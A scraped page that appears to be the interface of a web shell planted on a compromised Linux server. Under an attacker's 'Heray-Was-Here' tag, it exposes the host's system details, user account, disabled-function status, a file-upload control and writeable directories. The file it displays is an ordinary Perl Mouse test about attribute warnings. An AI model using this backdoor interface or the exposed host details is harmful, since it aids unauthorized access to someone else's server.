Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-Mouse/t/901_todo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Mouse/t/901_todo/attribute_warn.t
use strict;
use warnings;
use Test::More;

plan skip_all => 'todo';

# See
#  t/020_attributes/011_more_attr_delegation.t
#  https://github.com/gfx/p5-Mouse/issues/86
#  https://github.com/gfx/p5-Mouse/pull/90
{
    package A;
    use Mouse;

    # if "handles" is a Regexp, "isa" is required. So this block dies
    eval { has attr => (is => "ro", handles => qr/./) };

    # but "attr" is registered somehow, so this emits
    # "You are overwriting a locally defined method (attr) with an accessor"
    # I think this implies Mouse may leak something...
    my @warn;
    {
        local $SIG{__WARN__} = sub { push @warn, @_ };
        has attr => (is => 'ro');
    }
    ::is @warn, 0;
}

done_testing;

Hry